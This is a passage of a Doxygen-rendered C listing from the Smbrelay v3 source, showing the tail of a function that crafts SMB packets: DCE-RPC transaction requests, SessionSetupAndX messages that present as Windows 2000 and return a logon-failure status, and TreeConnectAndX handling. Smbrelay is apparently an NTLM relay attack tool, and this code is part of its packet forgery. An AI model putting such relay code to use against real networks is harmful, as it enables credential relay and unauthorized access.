00603         NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SMB_COM_TRANSACTION_STRUCT) + sizeof(DceRpcRequest) + DataSize -4);  
00604         TransRequest->TotalDataCount=(uint16)sizeof(DceRpcRequest) + DataSize;//sizeof(MSCStruct) + (uint16) (strlen((char*)data)+1)*sizeof(WCHAR) + 2*((((int)strlen((char*)data)+1)%2) ==1)  ;        
00605                 TransRequest->DataCount=TransRequest->TotalDataCount;                           
00606                 TransRequest->ByteCount=TransRequest->TotalDataCount + 17;                                      
00607                 dcerpc->FragmentLength=TransRequest->TotalDataCount;                                    
00608         //dcerpc->AllocHint=sizeof(DceRpcRequest) +DataSize; //Changed 10, Sept
00609                 dcerpc->AllocHint=DataSize; 
00610 
00611                 memcpy(NewSmbPacket->buffer,(char*)TransRequest,sizeof(SMB_COM_TRANSACTION_STRUCT));
00612                 memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT),(char*)dcerpc,sizeof(DceRpcRequest));
00613         memcpy(NewSmbPacket->buffer+sizeof(SMB_COM_TRANSACTION_STRUCT) +sizeof(DceRpcRequest),(char*)data,DataSize);
00614         free(TransRequest);
00615                 free(dcerpc);
00616                 break;
00617 
00618 
00619         case SESSIONSETUPANDX:
00620                 if (SubCommand==ERRORRESPONSE) { 
00621                         NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + 3  -4 );
00622                         NewSmbPacket->NtStatus=0xc000006d;
00623                         NewSmbPacket->UserID=PreviousSmbMessage->UserID;
00624 
00625                 } else {
00626             if (PreviousSmbMessage!=NULL) NewSmbPacket->UserID = UserID =PreviousSmbMessage->UserID; //Init UserID parameter
00627 
00628                         memset((char*)tail1,'\0',sizeof(tail1));
00629                         memset((char*)tail2,'\0',sizeof(tail2));
00630                         chartoWide((char*)tail1,"Windows 2000 2195",17);
00631                         chartoWide((char*)tail2,"Windows 2000 5.0",16);
00632 
00633                         if (SubCommand==CONTINUERESPONSE) {
00634                                 SessionSetupAndXResponseMessage=(SessionSetupAndXResponse *)malloc(sizeof(SessionSetupAndXResponse));
00635                                 memset((char*)SessionSetupAndXResponseMessage,'\0',sizeof(SessionSetupAndXResponse));
00636                                 //SessionSetupAndXResponse *SessionSetupAndXResponseMessage; 
00637                                 //NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2)  -4 );
00638                 NewSmbPacket->SmbMessageLength=SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(SessionSetupAndXResponse) + sizeof(tail1) + sizeof(tail2)  -4 );                
00639                                 NewSmbPacket->NtStatus=0;
00640                                 //DumpMem((char*)&PreviousSmbMessage->UserID,0x30);
00641                                 //printf("El otro userID es: %i\n",PreviousSmbMessage->UserID);
00642                                 //memcpy((char*)&NewSmbPacket->UserID,(char*)&PreviousSmbMessage->UserID,2);
00643                                 NewSmbPacket->UserID=PreviousSmbMessage->UserID;
00644                                 SessionSetupAndXResponseMessage->WordCount=4;
00645                                 SessionSetupAndXResponseMessage->AndXCommand=0xff;
00646                                 SessionSetupAndXResponseMessage->AndXOffset=SREV(NewSmbPacket->SmbMessageLength);
00647                                 SessionSetupAndXResponseMessage->ByteCount=sizeof(tail1)+sizeof(tail2);
00648                                 memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXResponseMessage,sizeof(SessionSetupAndXResponse));
00649                                 memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1,(char*)tail1,sizeof(tail1));
00650                                 memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndXResponse) +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2));
00651                                 //memcpy(NewSmbPacket->buffer,"\x00\x00\x00",3);        
00652                 free(SessionSetupAndXResponseMessage);
00653                         } else {
00654                                 SessionSetupAndXMessage=(SessionSetupAndX *)malloc(sizeof(SessionSetupAndX));
00655                                 memset((char*)SessionSetupAndXMessage,'\0',sizeof(SessionSetupAndX));
00656                                 NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) +sizeof(SessionSetupAndX) + DataSize + 1 + sizeof(tail1) + sizeof(tail2) +2 -4 );
00657                                 //printf("packet len: %x\n",SREV(NewSmbPacket->SmbMessageLength));
00658                 //printf("LEN: %x\n",NewSmbPacket->SmbMessageLength);
00659                                 SessionSetupAndXMessage->WordCount=12;
00660                                 SessionSetupAndXMessage->AndXCommand=0xff;
00661                                 SessionSetupAndXMessage->AndXOffset= SREV (NewSmbPacket->SmbMessageLength);//sizeof(smheader)-1024 +NtlmPacketLen + 1+ sizeof(tail1) + sizeof(tail2) +2 -4;
00662 
00663                                 SessionSetupAndXMessage->MaxBuffer=4356;//16644;
00664                                 SessionSetupAndXMessage->MaxMpxCount=10;
00665                                 SessionSetupAndXMessage->SecurityBloblength=DataSize; //Longitud del paquete NTLM
00666                                 SessionSetupAndXMessage->capabilities=0x800000d4; //0x200000D4;
00667                                 SessionSetupAndXMessage->ByteCount=(uint16) DataSize + 1 + sizeof(tail1) +sizeof(tail2) +2 ; //incluimos 2 nulls al final  y un byte antes de los wchars
00668 
00669                                 memcpy(NewSmbPacket->buffer,(char*)SessionSetupAndXMessage,sizeof(SessionSetupAndX));
00670                                 memcpy(NewSmbPacket->buffer+sizeof(SessionSetupAndX),(char*)data,DataSize);
00671                                 memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1,(char*)tail1,sizeof(tail1));
00672                                 memcpy(NewSmbPacket->buffer +sizeof(SessionSetupAndX) + DataSize +1 + sizeof(tail1) ,(char*)tail2,sizeof(tail2));
00673                 free(SessionSetupAndXMessage);
00674                         }
00675             //free(SessionSetupAndXResponseMessage);
00676                 }
00677                 break;
00678 
00679 
00680         case TREECONNETANDX:
00681         if (SubCommand== STATUS_BAD_NETWORK_NAME ){
00682             NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + sizeof(TreeConnectAndXResponse) -4 );
00683             NewSmbPacket->NtStatus=STATUS_BAD_NETWORK_NAME;
00684             memset(NewSmbPacket->buffer,'\0',3);
00685         } else {
00686             NewSmbPacket->SmbMessageLength=(uint16)SREV (sizeof(smheader)-sizeof(NewSmbPacket->buffer) + DataSize -4); 
00687             memcpy(NewSmbPacket->buffer,data,DataSize);
00688         }
00689         break;
00690 
00691 
00692 
00693     case SMB_COM_CREATE_DIRECTORY:
00694     case SMB_COM_DELETE_DIRECTORY:
00695     case SMB_COM_OPEN:
00696     case SMB_COM_CREATE:
00697 //    case SMB_COM_CLOSE:
00698     case SMB_COM_FLUSH:
00699     case SMB_COM_DELETE:
00700     case SMB_COM_RENAME:
00701     case SMB_COM_QUERY_INFORMATION:
00702     case SMB_COM_SET_INFORMATION:
00703     case SMB_COM_READ:
00704     case SMB_COM_WRITE:
00705     case SMB_COM_LOCK_BYTE_RANGE:
00706     case SMB_COM_UNLOCK_BYTE_RANGE:
00707     case SMB_COM_CREATE_TEMPORARY:
00708     case SMB_COM_CREATE_NEW:
00709     case SMB_COM_CHECK_DIRECTORY:
00710     case SMB_COM_PROCESS_EXIT:
00711     case SMB_COM_SEEK:
00712     case SMB_COM_LOCK_AND_READ:
00713     case SMB_COM_WRITE_AND_UNLOCK:
00714     case SMB_COM_READ_RAW:
00715     case SMB_COM_READ_MPX:
00716     case SMB_COM_READ_MPX_SECONDARY:
00717     case SMB_COM_WRITE_RAW:
00718     case SMB_COM_WRITE_MPX:
00719     case SMB_COM_WRITE_COMPLETE:
00720     case SMB_COM_SET_INFORMATION2:
00721     case SMB_COM_QUERY_INFORMATION2:
00722     case SMB_COM_LOCKING_ANDX:
00723 //    case SMB_COM_TRANSACTION:
00724     case SMB_COM_TRANSACTION_SECONDARY:
00725     case SMB_COM_IOCTL:
00726     case SMB_COM_IOCTL_SECONDARY:
00727     case SMB_COM_COPY:
00728     case SMB_COM_MOVE:
00729     case SMB_COM_ECHO:
00730     case SMB_COM_WRITE_AND_CLOSE:
00731     case SMB_COM_OPEN_ANDX:
00732 //    case SMB_COM_READ_ANDX:
00733 //    case SMB_COM_WRITE_ANDX:
00734     case SMB_COM_CLOSE_AND_TREE_DISC:
00735 //    case SMB_COM_TRANSACTION2:
00736     case SMB_COM_TRANSACTION2_SECONDARY:
00737     case SMB_COM_FIND_CLOSE2:
00738     case SMB_COM_FIND_NOTIFY_CLOSE:
00739     case SMB_COM_TREE_CONNECT:
00740     case SMB_COM_TREE_DISCONNECT:
00741    // case SMB_COM_NEGOTIATE:
00742    // case SMB_COM_SESSION_SETUP_ANDX:
00743     case SMB_COM_LOGOFF_ANDX:
00744 //    case SMB_COM_TREE_CONNECT_ANDX:
00745     case SMB_COM_QUERY_INFORMATION_DISK:
00746     case SMB_COM_SEARCH:
00747     case SMB_COM_FIND:
00748     case SMB_COM_FIND_UNIQUE:
00749     case SMB_COM_NT_TRANSACT:
00750     case SMB_COM_NT_TRANSACT_SECONDARY:
00751 //    case SMB_COM_NT_CREATE_ANDX:
00752     case SMB_COM_NT_CANCEL:
00753     case SMB_COM_OPEN_PRINT_FILE:
00754     case SMB_COM_WRITE_PRINT_FILE:
00755     case SMB_COM_CLOSE_PRINT_FILE:
00756     case SMB_COM_GET_PRINT_QUEUE:
00757     case SMB_COM_READ_BULK:
00758     case SMB_COM_WRITE_BULK:
00759     case SMB_COM_WRITE_BULK_DATA:
00760         
00761          NewSmbPacket->SmbMessageLength=(uint16) SREV (sizeof(smheader)- sizeof(NewSmbPacket->buffer) + DataSize -4 );
00762          NewSmbPacket->flags2=0x4803; //No Unicode
00763          NewSmbPacket->TreeId=((smheader *)PreviousSmbMessage)->TreeId;
00764          memcpy((char*)NewSmbPacket->buffer,data,DataSize);
00765                 //printf("Unsupported SMB message\n");
00766                 //exit(1);
00767          break;
00768      default:
00769          //printf("Unsupported SMB message\n");
00770          free(NewSmbPacket);
00771          return(NULL);
00772          break;
00773         }
00774         return(NewSmbPacket);
00775 }
00776 /**************************************************************************************/
00777 
00778 
00779 

Generated on Wed Nov 12 22:04:28 2008 for Smbrelay version 3 by  doxygen 1.5.4